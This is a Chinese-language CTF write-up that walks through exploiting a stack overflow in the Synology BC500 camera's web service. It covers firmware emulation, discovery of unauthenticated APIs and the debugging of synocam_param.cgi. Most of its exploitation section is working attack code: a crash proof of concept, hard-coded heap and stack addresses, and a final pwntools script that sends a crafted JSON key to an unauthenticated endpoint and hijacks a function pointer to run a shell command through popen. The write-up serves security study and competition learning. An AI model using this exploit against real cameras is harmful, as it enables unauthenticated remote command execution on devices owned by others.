Synology BC500 摄像头 rce | rwctf Lets-party-in-the-house
题目给了的附件有 player.cpio run.sh zImage
。原始固件可以从 Synology Archive Download Site - Index of /download/Firmware/Camera/BC500下载。
概况的分析
如何获取终端 ?
如果直接模拟固件,终端会被报错信息填满,可以在 /etc/init.d/rcS
使用 telnetd -p 23 -l /bin/sh
开启 telnet 服务,然后在脚本上加一个 hostfw 参数映射 telnet 到主机上进行操作。
find . | cpio -o --format=newc > ../new.cpio
qemu-system-arm \
-m 1024 \
-M virt,highmem=off \
-kernel zImage \
-initrd new.cpio \
-nic user,hostfwd=tcp:0.0.0.0:8081-:80,hostfwd=tcp:0.0.0.0:8082-:8082,hostfwd=tcp:0.0.0.0:1234-:1234\
-nographic
开启了什么服务
443/80
开 web 服务554
开启 real-Time Streaming Protocol (RTSP) 服务,摄像机视频流的访问的协议。49152
提供通用即插即用 (UPnP) 服务,促进网络上设备之间的无缝发现和通信。
/bin # netstat -ntpl
netstat -ntpl
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 544/webd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 544/webd
tcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 392/streamd
tcp 0 0 10.0.2.15:49153 0.0.0.0:* LISTEN 208/systemd
tcp 0 0 :::8082 :::* LISTEN 463/telnetd
tcp 0 0 :::554 :::* LISTEN 392/streamd
/bin # netstat -nupl
netstat -nupl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:19998 0.0.0.0:* 544/webd
udp 0 0 10.0.2.15:68 0.0.0.0:* 280/dhcpcd: eth0 [i
udp 0 0 127.0.0.1:41552 0.0.0.0:* 208/systemd
udp 0 0 0.0.0.0:1900 0.0.0.0:* 208/systemd
寻找未授权接口
在 webd 文件中可以看见一些可能是 API 接口的字符串:
strings webd | grep "/"
/cgi2/factorydefault.cgi
/cgi2/fwupgrade.cgi
/cgi2/ptz.cgi
/cgi2/param.cgi
/cgi2/config.cgi
/cgi2/provision.cgi
/syno-api/security/ip_filter/deny
/tmp/DSCamUUID
/syno-api/security
/syno-api/security/encryption_key
/syno-api/recording/sd_card/speed_test
/www/cgi2/factory.cgi
/syno-api/recording/sd_card/format
/www/cgi2/storage.cgi
/syno-api/recording/sd_card/mount
/syno-api/recording/sd_card/unmount
/syno-api/recording/retrieve
type=sd1&action=list&ch=1&page=1&pagesize=20000&key=name&list=all&dir=recording/%s
/syno-api/recording/download
type=sd1&action=download&dir=recording/%s&fname=%s
/syno-api/snapshot
/www/cgi2/snapshot.cgi
/syno-api/maintenance/reboot
/www/cgi2/restart.cgi
/syno-api/maintenance/firmware/upgrade
/www/camera-cgi/synocam_fw_upgrade.cgi
把这些作为字典让 dirsearch 扫描,排除 401 的接口,剩下 200 的就是未授权接口
python dirsearch.py -u http://127.0.0.1:8081 -m GET -w E:\ctf\2024\rwctf\party_in_the_house\samples\reverse\dir_wordlist.txt
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 102
Target: http://127.0.0.1:8081/
[15:08:11] Scanning:
[15:08:12] 200 - 15B - /syno-api/session
[15:08:12] 404 - 30B - /style/assets/
[15:08:12] 200 - 6KB - /crypto.min.js
[15:08:12] 404 - 30B - /uistrings/
[15:08:12] 200 - 460B - /index.html
[15:08:12] 200 - 1MB - /style/main.css
[15:08:12] 200 - 2MB - /vue.bundle.js
[15:08:13] 200 - 7B - /syno-api/security/info/language
[15:08:13] 200 - 6B - /syno-api/activate
[15:08:13] 200 - 21B - /syno-api/security/info/mac
[15:08:13] 200 - 9B - /syno-api/security/info/model
[15:08:13] 200 - 105B - /syno-api/security/info
[15:08:14] 200 - 14B - /syno-api/maintenance/firmware/version
[15:08:14] 200 - 9B - /syno-api/security/info/name
[15:08:14] 200 - 4B - /syno-api/security/info/serial_number
[15:08:14] 200 - 6B - /syno-api/security/network/dhcp
对比固件升级逻辑
UBI没有FLASH转换层(FTL,Flash Translation Layer),只能工作在裸的flash,因此它不能用于消费类FLASH如MMC, RS-MMC, eMMC, SD, mini-SD, micro-SD, CompactFlash, MemoryStick等,但UBI在嵌入式设备中被广泛使用。关于 ubi 文件提取的可以看 IoT(八)ubi文件系统挂载&解包 ~ gandalf
bindiff 找到 ubi 文件
docker run --rm -v $PWD/samples:/samples cincan/binwalk -eM /samples/Synology_BC500_1.0.6_0294.sa.bin -C /samples/firm
ubi reader 获取 ubifs
ubireader_extract_images 0.ubi
然后直接 7z 解压就可以看到之前的硬件了。
使用 diaphora diff webd 文件,感觉未授权的接口大概可能在这里。
登录的认证流程
从 json 中获取 username 和 password 参数,然后使用 AZDG 解密。AZDG 是一种基于 MD5 和 xor 的已知加密函数,并且在线提供了多种它的实现。
未授权接口的功能分析
[15:08:12] 200 - 15B - /syno-api/session
[15:08:13] 200 - 7B - /syno-api/security/info/language
[15:08:13] 200 - 6B - /syno-api/activate
[15:08:13] 200 - 21B - /syno-api/security/info/mac
[15:08:13] 200 - 9B - /syno-api/security/info/model
[15:08:13] 200 - 105B - /syno-api/security/info
[15:08:14] 200 - 14B - /syno-api/maintenance/firmware/version
[15:08:14] 200 - 9B - /syno-api/security/info/name
[15:08:14] 200 - 4B - /syno-api/security/info/serial_number
[15:08:14] 200 - 6B - /syno-api/security/network/dhcp
/syno-api/activate
只接受 true 的 PUT 请求,相机初始化有关。
/syno-api/session
通过 cookie 获取 session
/syno-api/security/info/language
设置语言
其余的 API 没办法读取输入
libjansson.so.4.7.0 缓冲区溢出
在 Pwn2Own Toronto 2023: Part 4 – Memory Corruption Analysis – Compass Security Blog 有个类似的漏洞。
如果向 API 发送普通的 json 会有提示 Invalid Uri.
但是如果发送的 json 太长了,就会直接崩溃。
import requests
url = "http://127.0.0.1:8081/syno-api/session"
data = {"A"*60:"B"}
response = requests.put(url, json=data)
print("Status Code:", response.status_code)
print("Response Body:", response.text)
通过 core dump 定位到发生问题的文件,webd 调用了synocam_param
cat /tmp/core_dump_log.txt
synoaid core dumped at 2024-12-16 08:15:59
synocam_param.c core dumped at 2024-12-16 08:50:46
动态分析 synocam_param.cgi
有问题的文件定位在 ./www/camera-cgi/synocam_param.cgi
。这里可以直接调试一下,把 gdbserver 放进去,但是由于启动时间很短,所以不能直接 attach 到进程上去,得自己去起一个 synocam_param.cgi
。
逆向可以看到大部分信息都是作为环境变量传递的,而请求的数据是通过 stdin
发送的。
sub_11038(&v97, "SERVER_NAME=%s", *(const char **)(*(_DWORD *)(a1 + 1212) + 124));
sub_11038(&v97, "SERVER_ROOT=%s", *(const char **)(*(_DWORD *)(a1 + 1212) + 72));
sub_11038(&v97, "DOCUMENT_ROOT=%s", *(const char **)(*(_DWORD *)(a1 + 1212) + 72));
sub_11038(&v97, "SERVER_SOFTWARE=CivetWeb/%s", "1.15");
sub_11038(&v97, "%s", "GATEWAY_INTERFACE=CGI/1.1");
sub_11038(&v97, "%s", "SERVER_PROTOCOL=HTTP/1.1");
sub_11038(&v97, "%s", "REDIRECT_STATUS=200");
sub_11038(&v97, "SERVER_PORT=%d", *(_DWORD *)(a1 + 116));
sub_10B28((char *)&v106, 0x32u);
sub_11038(&v97, "REMOTE_ADDR=%s", (const char *)&v106);
sub_11038(&v97, "REQUEST_METHOD=%s", *(const char **)(a1 + 16));
sub_11038(&v97, "REMOTE_PORT=%d", *(_DWORD *)(a1 + 112));
sub_11038(&v97, "REQUEST_URI=%s", *(const char **)(a1 + 20));
sub_11038(&v97, "LOCAL_URI=%s", *(const char **)(a1 + 28));
sub_11038(&v97, "LOCAL_URI_RAW=%s", *(const char **)(a1 + 24));
虽然暂时不能 attach 到 synocam_param.cgi
但是调 webd 还是可以的。带着参数和环境变量启动文件,输入输出通过 pipe 转发
if ( v76 )
{
v77 = *(_BYTE **)(dword4BC + 96);
if ( v77 && *v77 )
execle(v76, v76);
else
execle(*(const char **)(dword4BC + 92), *(const char **)(dword4BC + 92), v32, 0, format);
strerror(*v74);
sub_490DAC((int)a1, 0, (int)&unk_51A064, 5909, "%s: execle(%s %s): %s");
}
else
由于启动的时候是 fork 一个子进程来接收输入输出。这里遇到了 ida 和 gdb 的 base 不通的情况,把 ida 的 base 改了
gdbserver-armel-static-8.0.1 *:1234 --attach $(ps -ef | grep webd | awk '{print $1}')
断点打在 fork 处
b fork
set follow-fork-mode child
b execle
就可以拿到传递给新进程的参数和环境变量:
[+] Detected syscall (arch:ARM, mode:Native-32)
execve(const char __user *filename, const char __user *const __user *argv, const char __user *const __user *envp)
[+] Parameter Register Value
RET $r0 -
NR $r7 0xb
filename $r0 0x7581d8c4 -> 0x6f6e7973 -> 0x00000000
argv $r1 0x7581d548 -> 0x7581d8c4 -> 0x6f6e7973 -> 0x00000000
envp $r2 0x757173e0 -> 0x75717e30 -> 0x56524553 'SERVER_NAME=IPCam'
程序为 synocam_param.cgi 没有其他参数。环境变量如下:
0x7551c100|+0x0000|+000: 0x7551b0f8 -> 0x56524553 'SERVER_NAME=IPCam'
0x7551c104|+0x0004|+001: 0x7551b10a -> 0x56524553 'SERVER_ROOT=/www'
0x7551c108|+0x0008|+002: 0x7551b11b -> 0x55434f44 'DOCUMENT_ROOT=/www'
0x7551c10c|+0x000c|+003: 0x7551b12e -> 0x56524553 'SERVER_SOFTWARE=CivetWeb/1.15'
0x7551c110|+0x0010|+004: 0x7551b14c -> 0x45544147 'GATEWAY_INTERFACE=CGI/1.1'
0x7551c114|+0x0014|+005: 0x7551b166 -> 0x56524553 'SERVER_PROTOCOL=HTTP/1.1'
0x7551c118|+0x0018|+006: 0x7551b17f -> 0x49444552 'REDIRECT_STATUS=200'
0x7551c11c|+0x001c|+007: 0x7551b193 -> 0x56524553 'SERVER_PORT=80'
0x7551c120|+0x0020|+008: 0x7551b1a2 -> 0x4f4d4552 'REMOTE_ADDR=10.0.2.2'
0x7551c124|+0x0024|+009: 0x7551b1b7 -> 0x55514552 'REQUEST_METHOD=PUT'
0x7551c128|+0x0028|+010: 0x7551b1ca -> 0x4f4d4552 'REMOTE_PORT=40898'
0x7551c12c|+0x002c|+011: 0x7551b1dc -> 0x55514552 'REQUEST_URI=/syno-api/session'
0x7551c130|+0x0030|+012: 0x7551b1fa -> 0x41434f4c 'LOCAL_URI=/syno-api/session'
0x7551c134|+0x0034|+013: 0x7551b216 -> 0x41434f4c 'LOCAL_URI_RAW=/syno-api/session'
0x7551c138|+0x0038|+014: 0x7551b236 -> 0x49524353 'SCRIPT_NAME=/syno-api/session'
0x7551c13c|+0x003c|+015: 0x7551b254 -> 0x49524353 'SCRIPT_FILENAME=/www/camera-cgi/synocam_param.cgi'
0x7551c140|+0x0040|+016: 0x7551b286 -> 0x48544150 'PATH_TRANSLATED=/www'
0x7551c144|+0x0044|+017: 0x7551b29b -> 0x50545448 'HTTPS=off'
0x7551c148|+0x0048|+018: 0x7551b2a5 -> 0x544e4f43 'CONTENT_TYPE=application/json'
0x7551c14c|+0x004c|+019: 0x7551b2c3 -> 0x544e4f43 'CONTENT_LENGTH=10'
0x7551c150|+0x0050|+020: 0x7551b2d5 -> 0x48544150 'PATH=/sbin:/usr/sbin:/bin:/usr/bin'
0x7551c154|+0x0054|+021: 0x7551b2f8 -> 0x50545448 'HTTP_HOST=127.0.0.1:8081'
0x7551c158|+0x0058|+022: 0x7551b311 -> 0x50545448 'HTTP_USER_AGENT=python-requests/2.32.3'
0x7551c15c|+0x005c|+023: 0x7551b338 -> 0x50545448 'HTTP_ACCEPT_ENCODING=gzip, deflate'
0x7551c160|+0x0060|+024: 0x7551b35b -> 0x50545448 'HTTP_ACCEPT=*/*'
0x7551c164|+0x0064|+025: 0x7551b36b -> 0x50545448 'HTTP_CONNECTION=keep-alive'
0x7551c168|+0x0068|+026: 0x7551b386 -> 0x50545448 'HTTP_CONTENT_LENGTH=10'
0x7551c16c|+0x006c|+027: 0x7551b39d -> 0x50545448 'HTTP_CONTENT_TYPE=application/json'
0x7551c170|+0x0070|+028: 0x7551b3c0 -> 0x50534552 'RESPONSE_TO=SOCKET'
0x7551c174|+0x0074|+029: 0x7551b3d3 -> 0x49544341 'ACTION_PREPARE=yes'
0x7551c178|+0x0078|+030: 0x7551b3e6 -> 0x49544341 'ACTION_QUERY=yes'
输入的 json 是通过标准输入传入的,可以写这样的脚本进行调试:
echo \{\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\": \"b\"\} > body.txt
export SERVER_NAME=IPCam
export SERVER_ROOT=/www
export DOCUMENT_ROOT=/www
export SERVER_SOFTWARE=CivetWeb/1.15
export GATEWAY_INTERFACE=CGI/1.1
export SERVER_PROTOCOL=HTTP/1.1
export REDIRECT_STATUS=200
export SERVER_PORT=80
export REMOTE_ADDR=10.0.2.2
export REQUEST_METHOD=PUT
export REMOTE_PORT=40898
export REQUEST_URI=/syno-api/session
export LOCAL_URI=/syno-api/session
export LOCAL_URI_RAW=/syno-api/session
export SCRIPT_NAME=/syno-api/session
export SCRIPT_FILENAME=/www/camera-cgi/synocam_param.cgi
export PATH_TRANSLATED=/www
export HTTPS=off
export CONTENT_TYPE=application/json
export CONTENT_LENGTH=`wc -c body.txt | cut -d ' ' -f 1`
export PATH=/sbin:/usr/sbin:/bin:/usr/bin
export HTTP_HOST=127.0.0.1:8081
export HTTP_USER_AGENT=python-requests/2.32.3
export HTTP_ACCEPT_ENCODING=gzip, deflate
export HTTP_ACCEPT=*/*
export HTTP_CONNECTION=keep-alive
export HTTP_CONTENT_LENGTH=`wc -c body.txt | cut -d ' ' -f 1`
export HTTP_CONTENT_TYPE=application/json
export RESPONSE_TO=SOCKET
export ACTION_PREPARE=yes
export ACTION_QUERY=yes
/www/camera-cgi/synocam_param.cgi < body.txt
# gdbserver-armel-static-8.0.1 localhost:1234 /www/camera-cgi/synocam_param.cgi < body.txt
确实发现了 segmentation fault
在 gdb 里面可以定位到 json_object_set_new_nocheck -> json_loads
函数
代码分析
这个库是开源项目 GitHub - akheron/jansson: C library for encoding, decoding and manipulating JSON data 改写的
开源的版本的函数逻辑
- json_loads
json_t *json_loads(const char *string, size_t flags, json_error_t *error) {
// 第一个参数就是输入的 json 字符串
lex_t lex;
json_t *result;
string_data_t stream_data;
jsonp_error_init(error, "<string>");
// 输入不是 NULL
if (string == NULL) {
error_set(error, NULL, json_error_invalid_argument, "wrong arguments");
return NULL;
}
// 初始一个结构体
stream_data.data = string;
stream_data.pos = 0;
// 先初始化 lex
if (lex_init(&lex, string_get, flags, (void *)&stream_data))
return NULL;
// 然后 parse json 到 lex 中
result = parse_json(&lex, flags, error);
lex_close(&lex);
return result;
}
- 结构体 lex_t
typedef struct {
stream_t stream;
strbuffer_t saved_text;
size_t flags;
size_t depth;
int token;
union {
struct {
char *val;
size_t len;
} string;
json_int_t integer;
double real;
} value;
} lex_t;
- lex_scan
用于识别下一个 token,token 类型放在 lex->token 里面
static int lex_scan(lex_t *lex, json_error_t *error) {
int c;
strbuffer_clear(&lex->saved_text);
if (lex->token == TOKEN_STRING)
lex_free_string(lex);
do
c = lex_get(lex, error);
while (c == ' ' || c == '\t' || c == '\n' || c == '\r');
if (c == STREAM_STATE_EOF) {
lex->token = TOKEN_EOF;
goto out;
}
if (c == STREAM_STATE_ERROR) {
lex->token = TOKEN_INVALID;
goto out;
}
lex_save(lex, c);
// 符号
if (c == '{' || c == '}' || c == '[' || c == ']' || c == ':' || c == ',')
lex->token = c;
// 字符串
else if (c == '"')
lex_scan_string(lex, error);
// 数字
else if (l_isdigit(c) || c == '-') {
if (lex_scan_number(lex, c, error))
goto out;
}
// bool
else if (l_isalpha(c)) {
/* eat up the whole identifier for clearer error messages */
const char *saved_text;
do
c = lex_get_save(lex, error);
while (l_isalpha(c));
lex_unget_unsave(lex, c);
saved_text = strbuffer_value(&lex->saved_text);
if (strcmp(saved_text, "true") == 0)
lex->token = TOKEN_TRUE;
else if (strcmp(saved_text, "false") == 0)
lex->token = TOKEN_FALSE;
else if (strcmp(saved_text, "null") == 0)
lex->token = TOKEN_NULL;
else
lex->token = TOKEN_INVALID;
}
else {
/* save the rest of the input UTF-8 sequence to get an error
message of valid UTF-8 */
lex_save_cached(lex);
lex->token = TOKEN_INVALID;
}
out:
return lex->token;
}
- json_parse
从 { 头开始到 } 解析数据,lex_scan 用于解析 token类型,parse_value 用于进一步解析 token
static json_t *parse_json(lex_t *lex, size_t flags, json_error_t *error) {
json_t *result;
// 开始解析的时候深度是 0
lex->depth = 0;
// 开始扫描,第一个符号应该是 {
lex_scan(lex, error);
if (!(flags & JSON_DECODE_ANY)) {
if (lex->token != '[' && lex->token != '{') {
error_set(error, lex, json_error_invalid_syntax, "'[' or '{' expected");
return NULL;
}
}
//
result = parse_value(lex, flags, error);
if (!result)
return NULL;
if (!(flags & JSON_DISABLE_EOF_CHECK)) {
lex_scan(lex, error);
if (lex->token != TOKEN_EOF) {
error_set(error, lex, json_error_end_of_input_expected,
"end of file expected");
json_decref(result);
return NULL;
}
}
if (error) {
/* Save the position even though there was no error */
error->position = (int)lex->stream.position;
}
return result;
}
- parse_value
根据 token 的类型用不同的方法处理,如果里头还有 {
的话会递归用 parse_object
函数处理
static json_t *parse_value(lex_t *lex, size_t flags, json_error_t *error) {
json_t *json;
lex->depth++;
if (lex->depth > JSON_PARSER_MAX_DEPTH) {
error_set(error, lex, json_error_stack_overflow, "maximum parsing depth reached");
return NULL;
}
switch (lex->token) {
case TOKEN_STRING: {
const char *value = lex->value.string.val;
size_t len = lex->value.string.len;
if (!(flags & JSON_ALLOW_NUL)) {
if (memchr(value, '\0', len)) {
error_set(error, lex, json_error_null_character,
"\\u0000 is not allowed without JSON_ALLOW_NUL");
return NULL;
}
}
json = jsonp_stringn_nocheck_own(value, len);
lex->value.string.val = NULL;
lex->value.string.len = 0;
break;
}
case TOKEN_INTEGER: {
json = json_integer(lex->value.integer);
break;
}
case TOKEN_REAL: {
json = json_real(lex->value.real);
break;
}
case TOKEN_TRUE:
json = json_true();
break;
case TOKEN_FALSE:
json = json_false();
break;
case TOKEN_NULL:
json = json_null();
break;
case '{':
json = parse_object(lex, flags, error);
break;
case '[':
json = parse_array(lex, flags, error);
break;
case TOKEN_INVALID:
error_set(error, lex, json_error_invalid_syntax, "invalid token");
return NULL;
default:
error_set(error, lex, json_error_invalid_syntax, "unexpected token");
return NULL;
}
if (!json)
return NULL;
lex->depth--;
return json;
}
- parse_object
去解析一个 object。
static json_t *parse_object(lex_t *lex, size_t flags, json_error_t *error) {
json_t *object = json_object();
if (!object)
return NULL;
lex_scan(lex, error);
if (lex->token == '}')
return object;
while (1) {
char *key;
size_t len;
json_t *value;
// key 一定是一个 string
if (lex->token != TOKEN_STRING) {
error_set(error, lex, json_error_invalid_syntax, "string or '}' expected");
goto error;
}
key = lex_steal_string(lex, &len);
if (!key)
return NULL;
if (memchr(key, '\0', len)) {
jsonp_free(key);
error_set(error, lex, json_error_null_byte_in_key,
"NUL byte in object key not supported");
goto error;
}
// 不重复 key
if (flags & JSON_REJECT_DUPLICATES) {
if (json_object_getn(object, key, len)) {
jsonp_free(key);
error_set(error, lex, json_error_duplicate_key, "duplicate object key");
goto error;
}
}
// key 之后是 :
lex_scan(lex, error);
if (lex->token != ':') {
jsonp_free(key);
error_set(error, lex, json_error_invalid_syntax, "':' expected");
goto error;
}
// 解析 value 部分
lex_scan(lex, error);
value = parse_value(lex, flags, error);
if (!value) {
jsonp_free(key);
goto error;
}
// 在 object hashtable 中插入 key, len, value
if (json_object_setn_new_nocheck(object, key, len, value)) {
jsonp_free(key);
goto error;
}
jsonp_free(key);
// 如果后面没有 , 就退出
lex_scan(lex, error);
if (lex->token != ',')
break;
// 否则进一步解析
lex_scan(lex, error);
}
// 最后是一个 }
if (lex->token != '}') {
error_set(error, lex, json_error_invalid_syntax, "'}' expected");
goto error;
}
// 返回这个 obj
return object;
error:
json_decref(object);
return NULL;
}
- json_t
typedef struct json_t {
json_type type;
volatile size_t refcount;
} json_t;
实际逆向的函数实现
使用 sscanf 解析 key 到 target1[32] 和 target2[12] 中,存在溢出可能性...
如果发生了溢出,那么会依次把栈上面这些变量给覆盖:
int v4; // r0
char v7; // [sp+8h] [bp-4Ch]
_BYTE target1[32]; // [sp+14h] [bp-40h] BYREF
_BYTE target2[12]; // [sp+34h] [bp-20h] BYREF
size_t n; // [sp+40h] [bp-14h] BYREF
int v12; // [sp+44h] [bp-10h]
void *key; // [sp+48h] [bp-Ch]
int obj; // [sp+4Ch] [bp-8h]
漏洞利用
由于中间存在太多利用,需要尽可能让函数早点返回,可以不写冒号提前 error 返回
构造变量 key
首先要溢出到 key 上
key 需要被 free 掉,所以需要构造一个合理的堆块地址。地址可写,而且 size 要合理。在 vmmap 里面的可写的地址找一个就行。
void jsonp_free(void *ptr) {
if (!ptr)
return;
(*do_free)(ptr);
}
使用 gef 的命令可以很方便搜索这样的可写区域
search-pattern 0x00000041 /lib/libjansson.so.4.7.0 -p rw-
所以 key 的值被设置成 0x76fcd3a0
即可。
构造变量 obj
如果发生 error,会调用函数 json_decref 去析构obj
error:
json_decref(object);
return NULL;
}
void json_decref(struct_result *result)
{
if ( result && result->dword4 != -1 && !--result->dword4 )
j_json_delete(result);
}
看代码的话,需要找一个 +4 的地方是 -1
的地址。同样用 search-pattern
命令寻找
所以只需要把 obj 设置成 0x76fbacec
即可绕过。
所以我们的脚本可能是长得类似与这样:
from pwn import *
vuln = b'{"a ' + b"a"*20 + p32(0x76fcd3a0) + p32(0x76fbacec) + b"a"*4 + p32(0x12345678) + b'"}'
with open('body.txt', 'wb') as f:
f.write(vuln)
UTF-8 字符串
由于 libjansson 的 key 只能是 UTF-8,文档,所以输入只能是 0x1-0x7F 范围内的字节,排除 0x20
。Jansson 使用 UTF-8 作为字符编码。所有 JSON 字符串都必须是有效的 UTF-8(或 ASCII,因为它是 UTF-8 的子集)。允许使用 U+0000 到 U+10FFFF 的所有 Unicode 代码点,但如果您希望在字符串中嵌入 NUL 字节,则必须使用长度感知函数。
while (*p != '"') {
if (*p == '\\') {
p++;
if (*p == 'u') {
size_t length;
int32_t value;
value = decode_unicode_escape(p);
if (value < 0) {
error_set(error, lex, json_error_invalid_syntax,
"invalid Unicode escape '%.6s'", p - 1);
goto out;
}
p += 5;
if (0xD800 <= value && value <= 0xDBFF) {
/* surrogate pair */
if (*p == '\\' && *(p + 1) == 'u') {
int32_t value2 = decode_unicode_escape(++p);
if (value2 < 0) {
error_set(error, lex, json_error_invalid_syntax,
"invalid Unicode escape '%.6s'", p - 1);
goto out;
}
p += 5;
if (0xDC00 <= value2 && value2 <= 0xDFFF) {
/* valid second surrogate */
value =
((value - 0xD800) << 10) + (value2 - 0xDC00) + 0x10000;
} else {
/* invalid second surrogate */
error_set(error, lex, json_error_invalid_syntax,
"invalid Unicode '\\u%04X\\u%04X'", value, value2);
goto out;
}
} else {
/* no second surrogate */
error_set(error, lex, json_error_invalid_syntax,
"invalid Unicode '\\u%04X'", value);
goto out;
}
} else if (0xDC00 <= value && value <= 0xDFFF) {
error_set(error, lex, json_error_invalid_syntax,
"invalid Unicode '\\u%04X'", value);
goto out;
}
if (utf8_encode(value, t, &length))
assert(0);
t += length;
幸运的是,UTF-8 中也存在一些代理对。意思是,一个 Unicode 编码字符解码为两个或更多十六进制字节。例如
\u0080
是€
符号,它将被解码为两个十六进制字节C2 80
。通过使用代理对,我们可以对任意字节(例如 0x80)进行编码,只要我们在上例中用预定义值(例如 0xC2)破坏下一个字节即可。
也就是说,可以通过输入代理对的方式输入任意字符,只不过这个字符的下一位会被破坏。
更换 lex 结构体指针
因为 utf-8 的话,写 rop 太难了,所以观察栈的结构可以看见 lex_t 的 stream 成员上有一个函数指针 get。调用方式是 lex_scan -> lex_get -> stream_get -> stream->get
,会执行 stream->get(stream->data);
。
所以直接去把 lex 结构体的第一个 4 bytes 改成 system 就可以。如果这么改的话,之前的东西就不用绕过了!
函数指针触发的地方是:
所以改这个地方的地址就可以。r3 的位置是 0x7effede0。
在 sscanf 处:
溢出开始的地方是 0x7effed5c,偏移是 0x84。
将这个指针劫持到
SynoPopen
函数中popen
调用点附近的 gadget 上,实现有 8 字节可控的任意命令执行。之所以要找popen
调用点是因为 CGI 体所在的地址空间刚好可以通过\uXXXX
传入且不会被破坏。
在 0x414d5c 处有一个 gadget 可以使用
所以 payload
{"a aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$HTTP_A;\u005c\u004d\u0041": "b"}
from pwn import *
context(arch='arm', os='linux', log_level='debug')
ip = '127.0.0.1'
port = 8081
r = remote(ip, port)
payload = b'a ' + b'a' * (0x84 - 8) + b'$HTTP_A;' + b'\u005c\u004d\u0041'
json = b'{"' + payload + b'": ""}'
pay = b''
pay += b'POST /syno-api/security/info/mac HTTP/1.1' + b'\r\n'
pay += (b"Content-Length: %d" % len(json)) + b'\r\n'
pay += b'A: cat /flag > /www/index.html' + b'\r\n'
pay += b'Accept: text/plain, */*; q=0.01' + b'\r\n'
pay += b'Content-Type: application/json' + b'\r\n'
pay += b'\r\n'
pay += json
r.send(pay)
r.interactive()
参考
Pwn2Own Toronto 2023: Part 1 – How it all started – Compass Security Blog
[Realworld CTF] PWN - Let‘s party in the house - 群晖 BC500 摄像头 RCE writeup - 赤道企鹅的博客 | Eqqie Blog